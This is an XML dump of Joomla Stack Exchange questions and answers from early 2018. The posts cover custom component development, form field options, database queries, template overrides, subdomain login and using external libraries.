  <row Id="22346" PostTypeId="1" CreationDate="2018-02-01T08:55:28.230" Score="3" ViewCount="331" Body="&lt;p&gt;I have added a tags filter in my component's list with multiple enabled.          &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;tag&quot;&#xA;    type=&quot;tag&quot;&#xA;    label=&quot;-Select a Tag-&quot;&#xA;    description=&quot;Filter by Tags&quot;&#xA;    multiple=&quot;true&quot;&#xA;    class=&quot;multipleTags&quot;&#xA;    mode=&quot;nested&quot;&#xA;    onchange=&quot;this.form.submit();&quot;&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It renders and work fine, with the only exception that in the field's input it displays a generic text &quot;Type or Select some options&quot;. So, it isn't obvious at first sight about what this filter is about. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YRNEy.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YRNEy.jpg&quot; alt=&quot;Tags Filter&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't found anything obvious yet, with my search in the core components that make use of the tags filters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone has any idea on &lt;strong&gt;how can I replace that text to something like &quot;Select a Tag&quot;&lt;/strong&gt;? &lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2018-02-08T12:29:06.110" LastActivityDate="2018-07-21T06:09:50.323" Title="Tags filter field - how to add custom &quot;placeholder&quot;?" Tags="|custom-component|tags|form-fields-types|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22348" PostTypeId="1" CreationDate="2018-02-01T13:08:08.260" Score="1" ViewCount="583" Body="&lt;p&gt;Can someone explain me why in the &lt;code&gt;save&lt;/code&gt; method of the &lt;code&gt;AdminModel&lt;/code&gt; class, there is the creation of a new &lt;code&gt;$newTags&lt;/code&gt; property on the &lt;code&gt;$table&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How this new property is used? How is it handled later on by the &lt;code&gt;JTable&lt;/code&gt;, especially by the store() method?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/libraries/src/MVC/Model/AdminModel.php #line ~1146&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($data)&#xA;{&#xA;    $dispatcher = \JEventDispatcher::getInstance();&#xA;    $table      = $this-&amp;gt;getTable();&#xA;    $context    = $this-&amp;gt;option . '.' . $this-&amp;gt;name;&#xA;&#xA;    if (!empty($data['tags']) &amp;amp;&amp;amp; $data['tags'][0] != '')&#xA;    {&#xA;        $table-&amp;gt;newTags = $data['tags'];&#xA;    }&#xA;//....&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am asking because under certain conditions, using the my model's &lt;code&gt;save()&lt;/code&gt; method, I end up with a database error saying that there is no field &lt;code&gt;newTags&lt;/code&gt; in my table.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Do I have to do something in my own model's save() method to deal with this &lt;code&gt;$newTags&lt;/code&gt;?  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Or do I need to include anything else in my own table class?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2018-02-08T12:29:53.400" LastActivityDate="2018-02-08T12:29:53.400" Title="JModelAdmin - save() method. What's the purpose of $table-&gt;newTags?" Tags="|joomla-3.x|custom-component|mvc|jtable|jmodeladmin|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="22349" PostTypeId="1" AcceptedAnswerId="22350" CreationDate="2018-02-01T16:00:12.963" Score="1" ViewCount="52" Body="&lt;p&gt;I'm creating a template override for the Joomla3.8 registration form.&#xA;Where should I upload the &lt;code&gt;default.php&lt;/code&gt; file to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where I've tried, without luck:&#xA;/templates/yootheme/html/com_users/registration&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And:&#xA;/templates/yootheme/html/com_users/registration/tmpl/&lt;/p&gt;&#xA;" OwnerUserId="5250" LastActivityDate="2018-02-01T18:00:26.223" Title="Where to place the file for user registration form" Tags="|template-override|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22350" PostTypeId="2" ParentId="22349" CreationDate="2018-02-01T18:00:26.223" Score="2" Body="&lt;p&gt;The format of the first one is correct, but I am guessing the template name is wrong.  Generally YOOtheme names them yoo_name, so double check that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/templates/yoo_templatename/html/com_users/registration/default.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using Yootheme Pro, then it does it's own thing and I believe you need a child theme instead.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2018-02-01T18:00:26.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22351" PostTypeId="2" ParentId="22322" CreationDate="2018-02-01T20:17:17.350" Score="1" Body="&lt;p&gt;You have a couple of options here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Easiest is to create a new auto increment field in your table and use that ID for your editing layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) In your list view create a link that goes to the editing layout and rely on that link for getting to the editing screen.&#xA; (example: index.php?option=&lt;strong&gt;my_component&lt;/strong&gt;&amp;amp;view=&lt;strong&gt;my_view&lt;/strong&gt;&amp;amp;layout=edit&amp;amp;&lt;strong&gt;my_alpha_id=123ABC&lt;/strong&gt;&amp;amp;task=&lt;strong&gt;my_view&lt;/strong&gt;.edit)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure if you go the link route that you add the task URL Param to keep from getting errors. Also change the bold sections above to meet your needs.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2018-02-01T20:17:17.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22352" PostTypeId="2" ParentId="22318" CreationDate="2018-02-01T20:19:38.960" Score="2" Body="&lt;p&gt;The TLS version is controlled by the web server, it has nothing to do with Joomla. That is a secure connection method. Talk to your hosts and ask them to verify that you have TLS 1_2 enabled on your server.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2018-02-01T20:19:38.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22353" PostTypeId="2" ParentId="22343" CreationDate="2018-02-01T22:20:58.640" Score="1" Body="&lt;p&gt;Is there a pattern to the emails used? For example, do these emails have a certain tld at the end? If that's the case, you can add a regex to the model blocking those emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: If your website only benefits from American traffic, then you can block traffic from countries that we don't want traffic from. Nowadays, most hosts can do that for you. This will save you time and will reduce the attacks on your site. If your benefit from international traffic, then I don't recommend doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another note: A good idea to understand and (attempt to) prevent the attacks would be to check your server logs.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2018-02-01T22:20:58.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22354" PostTypeId="1" CreationDate="2018-02-01T22:35:08.790" Score="2" ViewCount="1359" Body="&lt;p&gt;I have a Joomla! site hosted by Rochen, and am wondering whether it is possible for me to change the structure of urls as follows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently my site (Joomla 3.8) has urls that look like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;www.mysite.com&lt;/li&gt;&#xA;&lt;li&gt;www.mysite.com/index.php/section1&lt;/li&gt;&#xA;&lt;li&gt;www.mysite.com/index.php/section2 &lt;/li&gt;&#xA;&lt;li&gt;www.mysite.com/index.php/section3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would like to change urls to look like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;www.mysite.com&lt;/li&gt;&#xA;&lt;li&gt;section1.mysite.com&lt;/li&gt;&#xA;&lt;li&gt;section2.mysite.com   &lt;/li&gt;&#xA;&lt;li&gt;section3.mysite.com&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I know how to set up subdomains on Rochen cPanel. Currently each of my subdomains point to the same document root (i.e. public_html), so that the main domain and each subdomain all operate off of a single Joomla! installation and a single database (as desired). The problem is that when I do, users have to log into each subdomain separately. Currently their username/password combinations work for each subdomain, but they have to repeat the logon process for each subdomain. I would prefer for a user to have to login only one time to gain access to the entirety of mysite.com. I guess what I want is to have urls that look like subdomains, but function like it's just one domain (one joomla! installation, one database, single logon).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice on how to do this?&lt;/p&gt;&#xA;" OwnerUserId="12180" LastActivityDate="2018-03-13T16:48:20.460" Title="how to change urls to look like subdomains but function as a single domain?" Tags="|joomla-3.x|login|url|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22355" PostTypeId="1" CreationDate="2018-02-02T10:21:59.227" Score="1" ViewCount="294" Body="&lt;p&gt;I have a Joomla extension which is built for Joomla 1.5.&#xA;At the moment I'm upgrading the extension to work with Joomla 3.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I updated old deprecated php functions in the new version of the extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is when I activate the extension on my Joomla 3 site and I try to login into the backend, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Call to a member function get() on null in [my joomla folder]/libraries/vendor/joomla/application/src/AbstractApplication.php on line 126&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody had this error before? If so, how can this be solved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional information:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read the documentation of Joomla 1.5 &amp;amp; 3.&#xA;What I've seen during my research is that this error usually occurs when you try to load a Joomla 1.5 template into a Joomla 3 website. But in this situation it's totally different. The problem resides in the extension. But I can't figure out which function is causing the issue. It could be that the old J 1.5 code is still in the extension, too bad Joomla does not have a way of searching through deprecated Joomla functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I add a debug_backtrace() I get all arrays printed on the screen, but after that I get:&#xA;Error: Failed to start application: Failed to start the session because headers have already been sent by &quot;[joomla dir]/libraries/vendor/joomla/application/src/AbstractApplication.php&quot; at line 128.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I placed the debug_backtrace() before the return in the get method.&#xA;(So I don't get to see a complete array list).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last array I get to see before the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[5] =&amp;gt; Array&#xA;    (&#xA;        [file] =&amp;gt; /[joomla dir]/index.php&#xA;        [line] =&amp;gt; 46&#xA;        [function] =&amp;gt; getApplication&#xA;        [class] =&amp;gt; Joomla\CMS\Factory&#xA;        [type] =&amp;gt; ::&#xA;        [args] =&amp;gt; Array&#xA;            (&#xA;                [0] =&amp;gt; site&#xA;            )&#xA;&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12181" LastActivityDate="2018-02-02T10:21:59.227" Title="Upgrading extension for Joomla 3 gives fatal php error" Tags="|joomla-3.x|extensions|joomla-1.5|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22356" PostTypeId="1" AcceptedAnswerId="22359" CreationDate="2018-02-02T12:32:35.560" Score="1" ViewCount="62" Body="&lt;p&gt;Can I do a nested AND / OR statement in Joomla! showon?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At present if a field is hidden but selected then my other field will show.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Type of Vehicle&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Car&lt;/li&gt;&#xA;&lt;li&gt;Bike&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Car Make&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Alpha&lt;/li&gt;&#xA;&lt;li&gt;Ford&lt;/li&gt;&#xA;&lt;li&gt;Skoda&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Car Colour&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Red&lt;/li&gt;&#xA;&lt;li&gt;Blue&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If it is a &lt;strong&gt;car&lt;/strong&gt; AND it is an &lt;strong&gt;alpha&lt;/strong&gt; OR a &lt;strong&gt;skoda&lt;/strong&gt; then show the option for colour.  At present it requires&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if (car) AND (alpha OR skoda)&lt;/code&gt; but we can't do that in Showon can we?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if we have a statement that says if it's a Car then show the Make option that will work.  Then we have the Alpha OR Skoda statement for the Colour we have an issue.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if we choose Car, then we select Alpha OR Skoda, then we go back and change Car to Bike the Colour option will remain in sight because Alpha or Skoda is still selected even though it is not visible.  Can we avoid that or do we need to provide additional validation?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2018-02-02T15:39:22.053" Title="Showon=&quot;foo:1[AND][bar:2[OR]bar:3]&quot;" Tags="|form-fields-types|showon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22357" PostTypeId="1" AcceptedAnswerId="22358" CreationDate="2018-02-02T13:11:38.377" Score="0" ViewCount="24" Body="&lt;p&gt;I made this querry that counts all the statuses &quot;1&quot; for a certain ID and their summarizes add in the column &quot;result&quot; and it works great:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('COUNT(*)');&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__climbing'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('#__climbing.status').&quot; = &quot;.$db-&amp;gt;quote(1).&quot; AND &quot;.$db-&amp;gt;quoteName('#__climbing.link_id').&quot; = &quot; .$db-&amp;gt;quote($link_id));&#xA;$db-&amp;gt;setQuery($query);&#xA;$score = $db-&amp;gt;loadResult();&#xA;$result = &quot;UPDATE #__mt_links SET result =&quot;. $score.&quot; WHERE link_id=&quot;.$link_id ;&#xA;$db-&amp;gt;setQuery( $result );&#xA;$db-&amp;gt;query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I want to add the same result into another column. I added another querry, but it does not work and still executing only one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('COUNT(*)');&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__climbing'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('#__climbing.status').&quot; = &quot;.$db-&amp;gt;quote(1).&quot; AND &quot;.$db-&amp;gt;quoteName('#__climbing.link_id').&quot; = &quot; .$db-&amp;gt;quote($link_id));&#xA;$db-&amp;gt;setQuery($query);&#xA;$score = $db-&amp;gt;loadResult();&#xA;$result = &quot;UPDATE #__mt_links SET price =&quot;. $score.&quot; WHERE link_id=&quot;.$link_id ;&#xA;$result2 = &quot;UPDATE #__hikers SET score =&quot;. $score.&quot; WHERE link_id=&quot;.$link_id ;&#xA;$db-&amp;gt;setQuery( $result );&#xA;$db-&amp;gt;setQuery( $result2 );&#xA;$db-&amp;gt;query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where did I make a mistake?&lt;/p&gt;&#xA;" OwnerUserId="11762" LastActivityDate="2018-02-02T17:00:48.277" Title="Two querry with the same value" Tags="|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22358" PostTypeId="2" ParentId="22357" CreationDate="2018-02-02T13:51:35.763" Score="2" Body="&lt;p&gt;try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$result = &quot;UPDATE #__mt_links SET price =&quot;. $score.&quot; WHERE link_id=&quot;.$link_id ;&#xA;$result2 = &quot;UPDATE #__hikers SET score =&quot;. $score.&quot; WHERE link_id=&quot;.$link_id ;&#xA;$db-&amp;gt;setQuery( $result );&#xA;$db-&amp;gt;execute();&#xA;$db-&amp;gt;setQuery( $result2 );&#xA;$db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9459" LastEditorUserId="9459" LastEditDate="2018-02-02T17:00:48.277" LastActivityDate="2018-02-02T17:00:48.277" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22359" PostTypeId="2" ParentId="22356" CreationDate="2018-02-02T15:03:33.870" Score="2" Body="&lt;p&gt;&lt;strong&gt;update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(removed my incorrect answer)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking at the &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/6de2b00858e91bd64e7c410a6ed617d455f62d64/media/jui/js/cms-uncompressed.js#L61&quot; rel=&quot;nofollow noreferrer&quot;&gt;JS that parses these showons&lt;/a&gt; and it seems that using more than one AND/OR chain isn't going to produce correct results. Only the last pair's results will be used as the deciding factor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg: &lt;code&gt;foo:1[AND]bar:2[OR]bar:3&lt;/code&gt; is effectively shortened to &lt;code&gt;bar:2[OR]bar:3&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not what you want.&lt;/p&gt;&#xA;" OwnerUserId="9459" LastEditorUserId="9459" LastEditDate="2018-02-02T15:39:22.053" LastActivityDate="2018-02-02T15:39:22.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22361" PostTypeId="1" AcceptedAnswerId="22367" CreationDate="2018-02-03T12:10:53.110" Score="1" ViewCount="436" Body="&lt;p&gt;In programming languages there are 2 patterns for selecting records from the database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//prepare SELECT statement&#xA;while($record = $query-&amp;gt;fetchRow())&#xA;{&#xA;    //do the job&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the second:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//prepare SELECT statement&#xA;$recordsArray = $query-&amp;gt;fetchAllRows();&#xA;//do the job with all the records in a 2-dimensional array&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To my surprise only the second option is available in JDatabaseQuery: &lt;code&gt;loadRowList&lt;/code&gt;, &lt;code&gt;loadAssocList&lt;/code&gt; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select(array('id', 'name'))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__my_table'));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;while($row = $db-&amp;gt;loadAssoc())&#xA;{&#xA;    var_dump($row);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It hanged. Can I fetch the records one by one rather then get a 2-dimensional array?&lt;/p&gt;&#xA;" OwnerUserId="12109" LastActivityDate="2018-02-03T22:27:22.627" Title="How to select records one by one using JDatabaseQuery" Tags="|sql|select|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22362" PostTypeId="2" ParentId="22354" CreationDate="2018-02-03T15:59:37.387" Score="1" Body="&lt;p&gt;You can achieve what you need by using &lt;strong&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/multiple-sites/virtual-domains/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Virtual Domains&lt;/a&gt;&lt;/strong&gt; extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is free and it provides Multi-domain capability for Joomla without changing the Joomla core files and tables. Simply register any number of additional available domains/subdomains in the components backend and define their properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can run different web sites from a single Joomla installation with specific templates, home page content and navigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can select a template from VD's Backend for a specific domain.&#xA;You can filter menu items, define domain specific languages and meta data.&#xA;VD will create an accesslevel for each domain/subdomain. This will enable you to control all that content that can deal with access levels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used it without any issues for quite some time and under every major J! version. It works just fine in latest Jooomla 3.8 under PHP 7. Highly recommended!&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2018-02-03T16:06:07.390" LastActivityDate="2018-02-03T16:06:07.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22363" PostTypeId="2" ParentId="22318" CreationDate="2018-02-03T16:21:19.133" Score="2" Body="&lt;p&gt;You can't possibly make that site compliant with anything anymore! It uses seven years old extinct versions of Joomla and VM. Without major upgrade effort it will stay obsolete and unsecure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over the years I've successfully upgraded more than dozen shops from that version to newer versions at that time, by using &lt;strong&gt;&lt;a href=&quot;https://www.daycounts.com/jmigrator&quot; rel=&quot;nofollow noreferrer&quot;&gt;Daycounts JMigrator&lt;/a&gt;&lt;/strong&gt; with &lt;strong&gt;&lt;a href=&quot;https://www.daycounts.com/shop/vm-migrator-add-ons/virtuemart-addon-for-jmigrator&quot; rel=&quot;nofollow noreferrer&quot;&gt;Virtuemart addon&lt;/a&gt;&lt;/strong&gt; (previously called VM Migrator). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I strongly recommend this upgrade path if you plan to keep your hair intact.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2018-02-03T16:21:19.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22365" PostTypeId="1" AcceptedAnswerId="22368" CreationDate="2018-02-03T19:42:13.783" Score="4" ViewCount="1252" Body="&lt;p&gt;My component is using phpExcel library; I put it into &lt;code&gt;/libraries/phpexcel/Classes&lt;/code&gt;. This is an independent (and quite big) library, so I thought, that it would be wise to tell the admin where to put it before component installation. And in the install script of the component check the existence of the lib.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I import the library using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('libraries.phpexcel');&#xA;//Include PHPExcel classes&#xA;JLoader::import('phpexcel.Classes.PHPExcel');&#xA;JLoader::import('phpexcel.Classes.PHPExcel.IOFactory');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it the correct way to use an external library?&lt;/p&gt;&#xA;" OwnerUserId="12109" LastEditorUserId="12109" LastEditDate="2018-02-04T01:04:47.140" LastActivityDate="2018-02-04T01:04:47.140" Title="Using external library with a component" Tags="|development|custom-component|libraries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22366" PostTypeId="2" ParentId="21869" CreationDate="2018-02-03T21:40:21.273" Score="2" Body="&lt;p&gt;Had to look into this again and I seem to have found a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just like the publish button rendered using &lt;code&gt;jgrid.published&lt;/code&gt; in the example below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHtml::_('jgrid.published', $row-&amp;gt;state, $i, 'myitems.', true, 'cb', $row-&amp;gt;publish_up, $row-&amp;gt;publish_down); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use the more general purpose &lt;code&gt;jgrid.action&lt;/code&gt; render instead, which is defined in the joomla library as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function action($i, $task, $prefix = '', $text = '', $active_title = '', $inactive_title = '', $tip = false, $active_class = '',&#xA;    $inactive_class = '', $enabled = true, $translate = true, $checkbox = 'cb')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although unlike &lt;code&gt;jgrid.published&lt;/code&gt;, this renderer creates buttons with a singular fixed task. It isn't state-aware, i.e. it cannot automatically assign a task based on the current state. But one could always mimic that behaviour by using an &lt;code&gt;if-else&lt;/code&gt; code-wrapper to control which buttons to show.&lt;/p&gt;&#xA;" OwnerUserId="11490" LastEditorUserId="11490" LastEditDate="2018-02-03T23:01:17.160" LastActivityDate="2018-02-03T23:01:17.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22367" PostTypeId="2" ParentId="22361" CreationDate="2018-02-03T22:27:22.627" Score="1" Body="&lt;p&gt;There are quite a few methods of Joomla's db driver that are not documented on the doc page.  The API summary page for 3.8 is here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JDatabaseDriver.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/JDatabaseDriver.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you're looking for is the iterator.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('id,name')-&amp;gt;from($db-&amp;gt;qn('#__my_table'));&#xA;$db-&amp;gt;setQuery($query);&#xA;$iterator = $db-&amp;gt;getIterator();&#xA;foreach($iterator as $row){&#xA;    var_dump($row);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will return one stdClass at a time and you can 'break' out of the loop to stop it running.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-02-03T22:27:22.627" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22368" PostTypeId="2" ParentId="22365" CreationDate="2018-02-03T22:38:59.107" Score="5" Body="&lt;p&gt;If you're only ever using a library within a single component then there's no reason not to include it in a folder in the component - this is the way that distributed components will generally handle it.  That being said, you can put anything you like in the libraries folder and Joomla won't mind, the issue is how you go about loading the classes.  Joomla allows you to autoload via prefixes or namespaces like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Using_own_library_in_your_extensions&quot; rel=&quot;noreferrer&quot;&gt;https://docs.joomla.org/Using_own_library_in_your_extensions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you wish to use a composer autoloader for external packages with your component you may be interested in this approach here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/16815/how-to-add-a-composer-package-without-modifying-the-core-composer-json-file/18914&quot;&gt;How to add a composer package without modifying the core composer.json file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully one of these approaches will suit.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-02-03T22:38:59.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22369" PostTypeId="1" AcceptedAnswerId="22370" CreationDate="2018-02-04T08:22:46.070" Score="0" ViewCount="181" Body="&lt;p&gt;In my component's JTable's subclass, I have overridden the check() method to perform my internal checks, when saving an item with my JModelAdmin subclass. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when saving an item, if any of those fails, my &lt;code&gt;check()&lt;/code&gt; method returns false, and set to display a corresponding error message, using &lt;code&gt;JFactory::getApplication()-&amp;gt;enqueueMessage(JText::_('SOME_ERROR_OCCURRED'), 'error');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that every time there is an error on my JTable's check method, I get 2 displayed error messages. On top there is the one that I have enqueued, followed always by a second one: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Save failed with the following reason:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;with no reason specified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why I am getting the second error message?&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-02-04T08:22:46.070" Title="JTable-&gt;check() - Save failed with following reason: (with no reason)" Tags="|joomla-3.x|custom-component|jtable|jmodeladmin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
